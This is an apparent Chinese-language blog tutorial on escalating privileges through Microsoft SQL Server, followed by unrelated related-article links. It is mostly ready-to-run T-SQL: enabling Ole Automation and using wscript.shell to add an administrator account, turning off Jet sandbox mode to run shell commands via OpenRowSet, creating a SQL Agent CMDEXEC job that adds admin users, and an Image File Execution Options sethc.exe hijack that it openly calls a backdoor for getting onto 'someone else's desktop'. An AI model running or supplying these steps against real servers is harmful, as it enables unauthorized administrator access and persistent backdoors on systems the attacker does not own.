如何进行MSSQL提权?sp_oacreate、sp_oamethod和沙盒提权以及xp_regwrighte提权

1、sp_oacreate、sp_oamethod提权

1、开启sp-oascreate

执行下面的语句

注意:2005默认是禁用的。2000默认开启。(可以同时执行)

execsp_configure'show advanced options',1;

RECONFIGURE;

execsp_configure'Ole Automation Procedures',1;

RECONFIGURE;

2、创建账户

开启sp-ascreate之后,创建账户(语句可以同时同时执行)

declare**@cmd**INT;

execsp_oacreate 'wscript.shell',@cmdoutput;

execsp_oamethod @cmd,'run',null,'net user hack hack /add','0','true';

execsp_oacreate 'wscript.shell',@cmdoutput;

execsp_oamethod @cmd,'run',null,'net localgroup administrators hack /add','0','true';

先检测命令是否无误

直接执行命令

2、沙盒提权

1、开启Ad Hoc Distributed

exec sp_configure'show advanced options',1

reconfigure

exec sp_configure'Ad Hoc Distributed Queries',1

reconfigure

2、关掉沙盒模式

EXECmaster .dbo .xp_regwrite 'HKEY_LOCAL_MACHINE','SoftWare\Microsoft\Jet\4.0\Engines','SandBoxMode','REG_DWORD',0

3、添加账号

Select* FromOpenRowSet('Microsoft.Jet.OLEDB.4.0',';Database=c:\windows\system32\ias\ias.mdb','select shell("net user sql$ 123 /add")');

验证账号是否创建成功

4、加入管理员组

Select*FromOpenRowSet('Microsoft.Jet.OLEDB.4.0',';Database=c:\windows\system32\ias\ias.mdb','select shell("net localgroup administrators sql$ /add")');

3、JOB提权

1、启动sqlagent服务

execmaster .dbo .xp_servicecontrol'start','SQLSERVERAGENT'

2、创建任务

USE msdb

GO

-- 首先检查并删除已存在的作业(如果存在)

IF EXISTS (SELECT 1 FROM msdb.dbo.sysjobs WHERE name = 'x')

BEGIN

EXEC sp_delete_job @job_name = 'x'

END

GO

-- 创建新作业

EXEC sp_add_job

@job_name = 'x',

@enabled = 1

GO

-- 添加作业步骤 - 使用正确的子系统名称

EXEC sp_add_jobstep

@job_name = 'x',

@step_name = 'Step1',

@subsystem = 'CMDEXEC', -- 修正为正确的子系统名称

@command = 'cmd /c "net user hack hack /add & net user hack1 hack1 /add & net localgroup administrators hack1 /add > c:\q.txt"',

@on_success_action = 1

GO

-- 将作业附加到服务器

EXEC sp_add_jobserver

@job_name = 'x'

GO

-- 启动作业

EXEC sp_start_job @job_name = 'x'

GO

创建成功,并成功加入管理员组

4、xp_regwrighte提权(留后门)

1、利用regwrite函数修改注册表

EXEC master..xp_regwrite

@rootkey = 'HKEY_LOCAL_MACHINE',

@key = 'SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\sethc.EXE',

@value_name = 'Debugger',

@type = 'REG_SZ',

@value = 'c:\windows\system32\cmd.exe'

2、检查劫持是否成功

master..xp_regread'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\WindowsNT\CurrentVersion\Image File Execution Options\sethc.exe','Debugger'

如果这里没有成功,手动创建

上面图片按照这个路径往下点

HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\WindowsNT\CurrentVersion\Image File Execution Options

新建一个项,名字叫sethc.exe

选择字符串

内容为这个

远程连接开启

出现这个,选择否,图中箭头标错了

执行这个命令会弹出桌面explorer.exe

这样就直接进入别人桌面

至此,这种方式提权成功

相关推荐
LaughingZhu几秒前
Product Hunt 每日热榜 | 2026-03-22
大数据·数据库·人工智能·经验分享·搜索引擎
@insist1231 分钟前
数据库系统工程师-数据库权限管理与触发器编程:软考核心考点与实战指南
数据库·oracle·软考·数据库系统工程师·软件水平考试
2301_793804697 分钟前
深入理解Python的if __name__ == ‘__main__‘
jvm·数据库·python
勇者无畏4049 分钟前
基于 Spring AI Alibaba 搭建 Text-To-SQL 智能系统(简单实现)
数据库·sql
2401_833197739 分钟前
用Python生成艺术:分形与算法绘图
jvm·数据库·python
暮冬-  Gentle°14 分钟前
用Python批量处理Excel和CSV文件
jvm·数据库·python
2401_8916558115 分钟前
MySQL安全加固十大硬核操作技术大纲
数据库·mysql·安全
hongtianzai16 分钟前
Laravel9.X核心特性全解析
android·java·数据库
dovens18 分钟前
从MySQL迁移到PostgreSQL的完整指南
数据库·mysql·postgresql
电商API_1800790524719 分钟前
电商平台公开数据采集实践:基于合规接口的数据分析方案
开发语言·数据库·人工智能·数据挖掘·数据分析·网络爬虫